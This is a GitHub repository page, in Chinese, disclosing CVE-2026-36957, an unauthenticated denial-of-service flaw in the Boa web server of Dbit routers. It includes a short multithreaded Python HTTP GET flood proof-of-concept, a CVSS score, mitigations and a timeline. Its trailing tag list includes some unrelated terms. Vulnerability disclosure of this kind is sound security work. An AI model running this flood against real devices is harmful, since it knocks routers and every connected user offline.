kirubel-cve/CVE-2026-36957
GitHub: kirubel-cve/CVE-2026-36957
针对 CVE-2026-36957 的概念验证脚本,利用 HTTP Flood 向 Dbit 路由器 Boa Web 服务器发送大量请求至不存在 URI,耗尽文件描述符和内存导致系统死锁,实现无需认证的远程拒绝服务攻击。
Stars: 0 | Forks: 0
# CVE-2026-36957:通过 Boa Web 服务器 HTTP Flood 发起的拒绝服务攻击
**CVE ID:** CVE-2026-36957
**日期:** 2026-04-29
**发现者:** Kirubel Solomne
**供应商:** 深圳市迪必特网络设备有限公司
**产品:** Dbit 路由器
**固件版本:** V1.0.0
**CWE:** CWE-400 - 不受控制的资源消耗
## 漏洞描述
Dbit 路由器固件 V1.0.0 的 Boa Web 服务器 URI 处理程序存在拒绝服务漏洞。通过向不存在的 URI 发送大量 HTTP GET 请求,攻击者可以耗尽关键系统资源,包括文件描述符和内存缓冲区。这会导致内核死锁或系统挂起,从而使得 Web 管理门户和所有路由功能失效。
## CVSS 评分
**CVSS v3.1 评分:7.5(高危)**
`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
| 指标 | 值 |
|---|---|
| 攻击向量 | 网络 |
| 攻击复杂度 | 低 |
| 权限要求 | 无 |
| 用户交互 | 无 |
| 机密性影响 | 无 |
| 完整性影响 | 无 |
| 可用性影响 | 高 |
## 概念验证
```
import requests
import threading
TARGET = "http://192.168.10.1"
def flood(i):
try:
requests.get(f"{TARGET}/nonexistent_{i}", timeout=2)
except:
pass
threads = []
for i in range(1000):
t = threading.Thread(target=flood, args=(i,))
threads.append(t)
t.start()
for t in threads:
t.join()
print("Done. Check if router is still responsive.")
```
**预期行为:** 服务器应限制连接数并保持稳定。
**实际行为:** 路由器 Web 界面变得无响应;需要手动重启。
## 影响范围
- Web 管理界面完全失效
- 所有路由功能遭到破坏
- 需要手动重启以恢复服务
- 所有连接设备的网络停机
## 修复方案
- 在 Boa Web 服务器上实施连接速率限制
- 添加看门狗定时器以从死锁状态中恢复
- 限制每个 IP 的最大并发连接数
## 披露时间线
| 日期 | 事件 |
|---|---|
| 2026-04-29 | 发现漏洞 |
| 2026-04-29 | 向 MITRE 报告 |
| 2026-04-29 | 分配 CVE-2026-36957 |
| 2026-04-29 | 公开披露 |
## 参考链接
- [MITRE CVE-2026-36957](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-36957)
- [CWE-400](https://cwe.mitre.org/data/definitions/400.html)
- [供应商网站](http://dbit.com)
标签:0day, Boa Web Server, CVE-2026-36957, CVSS 7.5, CWE-400, Dbit Router, DDoS, DoS, HTTP Flood, HTTP GET Flood, Maven, Nday, PoC, Python多线程, Rate Limiting, 内核死锁, 内核驱动, 嵌入式设备安全, 拒绝服务, 文件描述符耗尽, 暴力破解, 漏洞分析, 漏洞验证, 物联网安全, 系统崩溃, 网络协议, 网络安全, 资源耗尽, 路径探测, 路由器固件, 路由器安全, 逆向工具, 配置错误, 隐私保护